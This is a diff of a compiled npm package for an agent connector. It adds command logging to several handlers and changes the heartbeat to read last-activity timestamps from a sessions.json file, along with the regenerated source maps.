package/dist/handlers/stop.js
CHANGED
|
@@ -1,4 +1,11 @@
|
|
|
1
|
+
import { logCollector } from '../connection.js';
|
|
1
2
|
export function handleStop(command) {
|
|
3
|
+
logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
|
|
4
|
+
commandId: command.id,
|
|
5
|
+
});
|
|
6
|
+
logCollector?.push('command_completed', 'info', `${command.type} completed`, {
|
|
7
|
+
commandId: command.id,
|
|
8
|
+
});
|
|
2
9
|
const response = {
|
|
3
10
|
id: command.id,
|
|
4
11
|
type: 'stop',
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"stop.js","sourceRoot":"","sources":["../../src/handlers/stop.ts"],"names":[],"mappings":"
|
|
1
|
+
{"version":3,"file":"stop.js","sourceRoot":"","sources":["../../src/handlers/stop.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,UAAU,UAAU,CAAC,OAAqB;IAC9C,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,YAAY,OAAO,CAAC,IAAI,EAAE,EAAE;QACzE,SAAS,EAAE,OAAO,CAAC,EAAE;KACtB,CAAC,CAAC;IACH,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,YAAY,EAAE;QAC3E,SAAS,EAAE,OAAO,CAAC,EAAE;KACtB,CAAC,CAAC;IAEH,MAAM,QAAQ,GAAkB;QAC9B,EAAE,EAAE,OAAO,CAAC,EAAE;QACd,IAAI,EAAE,MAAM;QACZ,OAAO,EAAE,IAAI;QACb,IAAI,EAAE,EAAE,OAAO,EAAE,0BAA0B,EAAE;KAC9C,CAAC;IAEF,yFAAyF;IACzF,yFAAyF;IACzF,qFAAqF;IACrF,8CAA8C;IAC9C,UAAU,CAAC,GAAG,EAAE;QACd,OAAO,CAAC,GAAG,CAAC,8BAA8B,CAAC,CAAC;QAC5C,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC,EAAE,GAAG,CAAC,CAAC;IAER,OAAO,OAAO,CAAC,OAAO,CAAC,QAAQ,CAAC,CAAC;AACnC,CAAC"}
|
|
@@ -1,9 +1,18 @@
|
|
|
1
1
|
import { toErrorMessage } from '../utils/response.js';
|
|
2
|
+
import { logCollector } from '../connection.js';
|
|
2
3
|
const WEBHOOK_PORT = 8787;
|
|
3
4
|
const TIMEOUT_MS = 10_000;
|
|
4
5
|
export async function handleTelegramWebhook(command) {
|
|
6
|
+
logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
|
|
7
|
+
commandId: command.id,
|
|
8
|
+
});
|
|
9
|
+
const startMs = Date.now();
|
|
5
10
|
const { body, webhookSecret } = command.payload;
|
|
6
11
|
if (!body) {
|
|
12
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: missing body in payload`, {
|
|
13
|
+
commandId: command.id,
|
|
14
|
+
durationMs: Date.now() - startMs,
|
|
15
|
+
});
|
|
7
16
|
return {
|
|
8
17
|
id: command.id,
|
|
9
18
|
type: command.type,
|
|
@@ -25,6 +34,11 @@ export async function handleTelegramWebhook(command) {
|
|
|
25
34
|
signal: AbortSignal.timeout(TIMEOUT_MS),
|
|
26
35
|
});
|
|
27
36
|
if (!response.ok) {
|
|
37
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: gateway ${response.status}`, {
|
|
38
|
+
commandId: command.id,
|
|
39
|
+
durationMs: Date.now() - startMs,
|
|
40
|
+
statusCode: response.status,
|
|
41
|
+
});
|
|
28
42
|
return {
|
|
29
43
|
id: command.id,
|
|
30
44
|
type: command.type,
|
|
@@ -32,6 +46,11 @@ export async function handleTelegramWebhook(command) {
|
|
|
32
46
|
error: `Gateway responded with ${response.status}: ${response.statusText}`,
|
|
33
47
|
};
|
|
34
48
|
}
|
|
49
|
+
logCollector?.push('command_completed', 'info', `${command.type} completed`, {
|
|
50
|
+
commandId: command.id,
|
|
51
|
+
durationMs: Date.now() - startMs,
|
|
52
|
+
statusCode: response.status,
|
|
53
|
+
});
|
|
35
54
|
return {
|
|
36
55
|
id: command.id,
|
|
37
56
|
type: command.type,
|
|
@@ -40,6 +59,10 @@ export async function handleTelegramWebhook(command) {
|
|
|
40
59
|
};
|
|
41
60
|
}
|
|
42
61
|
catch (err) {
|
|
62
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: ${toErrorMessage(err)}`, {
|
|
63
|
+
commandId: command.id,
|
|
64
|
+
durationMs: Date.now() - startMs,
|
|
65
|
+
});
|
|
43
66
|
return {
|
|
44
67
|
id: command.id,
|
|
45
68
|
type: command.type,
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"telegram-webhook.js","sourceRoot":"","sources":["../../src/handlers/telegram-webhook.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;
|
|
1
|
+
{"version":3,"file":"telegram-webhook.js","sourceRoot":"","sources":["../../src/handlers/telegram-webhook.ts"],"names":[],"mappings":"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"}
|
|
@@ -9,12 +9,18 @@ export function handleUpdateConfig(api, agentId) {
|
|
|
9
9
|
const data = await api.agentBootstrap(agentId);
|
|
10
10
|
await applyBootstrapConfig(data);
|
|
11
11
|
const durationMs = Date.now() - startMs;
|
|
12
|
-
logCollector?.push('command_completed', 'info', `${cmd.type} completed`, {
|
|
12
|
+
logCollector?.push('command_completed', 'info', `${cmd.type} completed`, {
|
|
13
|
+
commandId: cmd.id,
|
|
14
|
+
durationMs,
|
|
15
|
+
});
|
|
13
16
|
return { id: cmd.id, type: cmd.type, success: true, data: {} };
|
|
14
17
|
}
|
|
15
18
|
catch (err) {
|
|
16
19
|
const durationMs = Date.now() - startMs;
|
|
17
|
-
logCollector?.push('command_failed', 'error', `${cmd.type} failed: ${toErrorMessage(err)}`, {
|
|
20
|
+
logCollector?.push('command_failed', 'error', `${cmd.type} failed: ${toErrorMessage(err)}`, {
|
|
21
|
+
commandId: cmd.id,
|
|
22
|
+
durationMs,
|
|
23
|
+
});
|
|
18
24
|
return { id: cmd.id, type: cmd.type, success: false, error: toErrorMessage(err) };
|
|
19
25
|
}
|
|
20
26
|
};
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"update-config.js","sourceRoot":"","sources":["../../src/handlers/update-config.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,oBAAoB,EAAE,MAAM,0BAA0B,CAAC;AAChE,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,UAAU,kBAAkB,CAAC,GAAa,EAAE,OAAe;IAC/D,OAAO,KAAK,EAAE,GAAiB,EAA0B,EAAE;QACzD,MAAM,OAAO,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;QAC3B,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,YAAY,GAAG,CAAC,IAAI,EAAE,EAAE,EAAE,SAAS,EAAE,GAAG,CAAC,EAAE,EAAE,CAAC,CAAC;QAC9F,IAAI,CAAC;YACH,MAAM,IAAI,GAAG,MAAM,GAAG,CAAC,cAAc,CAAC,OAAO,CAAC,CAAC;YAC/C,MAAM,oBAAoB,CAAC,IAAI,CAAC,CAAC;YACjC,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;YACxC,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,GAAG,GAAG,CAAC,IAAI,YAAY,EAAE,
|
|
1
|
+
{"version":3,"file":"update-config.js","sourceRoot":"","sources":["../../src/handlers/update-config.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,oBAAoB,EAAE,MAAM,0BAA0B,CAAC;AAChE,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,UAAU,kBAAkB,CAAC,GAAa,EAAE,OAAe;IAC/D,OAAO,KAAK,EAAE,GAAiB,EAA0B,EAAE;QACzD,MAAM,OAAO,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;QAC3B,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,YAAY,GAAG,CAAC,IAAI,EAAE,EAAE,EAAE,SAAS,EAAE,GAAG,CAAC,EAAE,EAAE,CAAC,CAAC;QAC9F,IAAI,CAAC;YACH,MAAM,IAAI,GAAG,MAAM,GAAG,CAAC,cAAc,CAAC,OAAO,CAAC,CAAC;YAC/C,MAAM,oBAAoB,CAAC,IAAI,CAAC,CAAC;YACjC,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;YACxC,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,GAAG,GAAG,CAAC,IAAI,YAAY,EAAE;gBACvE,SAAS,EAAE,GAAG,CAAC,EAAE;gBACjB,UAAU;aACX,CAAC,CAAC;YACH,OAAO,EAAE,EAAE,EAAE,GAAG,CAAC,EAAE,EAAE,IAAI,EAAE,GAAG,CAAC,IAAI,EAAE,OAAO,EAAE,IAAI,EAAE,IAAI,EAAE,EAAE,EAAE,CAAC;QACjE,CAAC;QAAC,OAAO,GAAG,EAAE,CAAC;YACb,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;YACxC,YAAY,EAAE,IAAI,CAAC,gBAAgB,EAAE,OAAO,EAAE,GAAG,GAAG,CAAC,IAAI,YAAY,cAAc,CAAC,GAAG,CAAC,EAAE,EAAE;gBAC1F,SAAS,EAAE,GAAG,CAAC,EAAE;gBACjB,UAAU;aACX,CAAC,CAAC;YACH,OAAO,EAAE,EAAE,EAAE,GAAG,CAAC,EAAE,EAAE,IAAI,EAAE,GAAG,CAAC,IAAI,EAAE,OAAO,EAAE,KAAK,EAAE,KAAK,EAAE,cAAc,CAAC,GAAG,CAAC,EAAE,CAAC;QACpF,CAAC;IACH,CAAC,CAAC;AACJ,CAAC"}
|
package/dist/heartbeat.d.ts
CHANGED
|
@@ -1,5 +1,12 @@
|
|
|
1
1
|
import type { AgentApi } from './api.js';
|
|
2
2
|
import type { BoardState, HeartbeatPayload } from './types.js';
|
|
3
|
+
/**
|
|
4
|
+
* Read sessions.json index to find the latest session activity timestamp.
|
|
5
|
+
* sessions.json is maintained by OpenClaw gateway and contains an `updatedAt`
|
|
6
|
+
* (ms epoch) field per session, updated on each real session turn (user message
|
|
7
|
+
* → agent reply). This works for all channels (Telegram, Slack, Discord, etc.)
|
|
8
|
+
* regardless of how messages are delivered (webhook, Socket Mode, etc.).
|
|
9
|
+
*/
|
|
3
10
|
export declare function getLastMessageAt(): Promise<string | null>;
|
|
4
11
|
export interface HeartbeatOptions {
|
|
5
12
|
api: AgentApi;
|
package/dist/heartbeat.js
CHANGED
|
@@ -2,6 +2,7 @@ import os from 'node:os';
|
|
|
2
2
|
import path from 'node:path';
|
|
3
3
|
import fs from 'node:fs/promises';
|
|
4
4
|
import { debugLog } from './debug.js';
|
|
5
|
+
import { config } from './config.js';
|
|
5
6
|
import { getProvider } from './providers/index.js';
|
|
6
7
|
import { isLockFilePresent } from './lockfile.js';
|
|
7
8
|
const HEARTBEAT_INTERVAL = 30_000;
|
|
@@ -17,74 +18,23 @@ async function checkGateway() {
|
|
|
17
18
|
return { running: false, rpcOk: false };
|
|
18
19
|
}
|
|
19
20
|
}
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
if (entry.type !== 'message')
|
|
28
|
-
return null;
|
|
29
|
-
const msg = entry.message;
|
|
30
|
-
if (!msg || msg.role !== 'user')
|
|
31
|
-
return null;
|
|
32
|
-
if (typeof msg.content === 'string')
|
|
33
|
-
return msg.content;
|
|
34
|
-
if (Array.isArray(msg.content)) {
|
|
35
|
-
return msg.content
|
|
36
|
-
.filter((c) => c.type === 'text')
|
|
37
|
-
.map((c) => c.text ?? '')
|
|
38
|
-
.join(' ');
|
|
39
|
-
}
|
|
40
|
-
return null;
|
|
41
|
-
}
|
|
21
|
+
/**
|
|
22
|
+
* Read sessions.json index to find the latest session activity timestamp.
|
|
23
|
+
* sessions.json is maintained by OpenClaw gateway and contains an `updatedAt`
|
|
24
|
+
* (ms epoch) field per session, updated on each real session turn (user message
|
|
25
|
+
* → agent reply). This works for all channels (Telegram, Slack, Discord, etc.)
|
|
26
|
+
* regardless of how messages are delivered (webhook, Socket Mode, etc.).
|
|
27
|
+
*/
|
|
42
28
|
export async function getLastMessageAt() {
|
|
43
|
-
const stateDir =
|
|
44
|
-
|
|
45
|
-
const sessionsDir = path.join(stateDir, 'agents', 'main', 'sessions');
|
|
29
|
+
const stateDir = config.stateDir;
|
|
30
|
+
const sessionsJsonPath = path.join(stateDir, 'agents', 'main', 'sessions', 'sessions.json');
|
|
46
31
|
try {
|
|
47
|
-
const
|
|
48
|
-
const
|
|
49
|
-
if (jsonlFiles.length === 0)
|
|
50
|
-
return null;
|
|
51
|
-
const now = Date.now();
|
|
52
|
-
const TWO_HOURS = 2 * 60 * 60 * 1000;
|
|
32
|
+
const raw = await fs.readFile(sessionsJsonPath, 'utf-8');
|
|
33
|
+
const store = JSON.parse(raw);
|
|
53
34
|
let latestTs = 0;
|
|
54
|
-
for (const
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
// Skip files not modified in the last 2 hours
|
|
58
|
-
if (now - stat.mtimeMs > TWO_HOURS)
|
|
59
|
-
continue;
|
|
60
|
-
// Read last 64KB of the file
|
|
61
|
-
const readSize = Math.min(stat.size, TAIL_READ_SIZE);
|
|
62
|
-
const fh = await fs.open(filePath, 'r');
|
|
63
|
-
const buf = Buffer.alloc(readSize);
|
|
64
|
-
await fh.read(buf, 0, readSize, Math.max(0, stat.size - readSize));
|
|
65
|
-
await fh.close();
|
|
66
|
-
// Take last N lines, search backwards for a real user message
|
|
67
|
-
const lines = buf.toString('utf-8').split('\n').filter((l) => l.trim());
|
|
68
|
-
const tail = lines.slice(-TAIL_LINES);
|
|
69
|
-
for (let i = tail.length - 1; i >= 0; i--) {
|
|
70
|
-
try {
|
|
71
|
-
const entry = JSON.parse(tail[i]);
|
|
72
|
-
const text = extractUserText(entry);
|
|
73
|
-
if (text === null)
|
|
74
|
-
continue;
|
|
75
|
-
if (isHeartbeatMessage(text))
|
|
76
|
-
continue;
|
|
77
|
-
// Found a real user message — extract timestamp
|
|
78
|
-
const msg = entry.message;
|
|
79
|
-
const ts = (msg?.timestamp ?? entry.timestamp);
|
|
80
|
-
const tsNum = typeof ts === 'number' ? ts : new Date(ts).getTime();
|
|
81
|
-
if (tsNum > latestTs)
|
|
82
|
-
latestTs = tsNum;
|
|
83
|
-
break; // Only need the latest per file
|
|
84
|
-
}
|
|
85
|
-
catch {
|
|
86
|
-
continue;
|
|
87
|
-
}
|
|
35
|
+
for (const entry of Object.values(store)) {
|
|
36
|
+
if (typeof entry?.updatedAt === 'number' && entry.updatedAt > latestTs) {
|
|
37
|
+
latestTs = entry.updatedAt;
|
|
88
38
|
}
|
|
89
39
|
}
|
|
90
40
|
return latestTs > 0 ? new Date(latestTs).toISOString() : null;
|
package/dist/heartbeat.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"heartbeat.js","sourceRoot":"","sources":["../src/heartbeat.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,SAAS,CAAC;AACzB,OAAO,IAAI,MAAM,WAAW,CAAC;AAC7B,OAAO,EAAE,MAAM,kBAAkB,CAAC;AAClC,OAAO,EAAE,QAAQ,EAAE,MAAM,YAAY,CAAC;
|
|
1
|
+
{"version":3,"file":"heartbeat.js","sourceRoot":"","sources":["../src/heartbeat.ts"],"names":[],"mappings":"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"}
|
package/dist/index.d.ts
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
export declare function main(): void
|
|
1
|
+
export declare function main(): Promise<void>;
|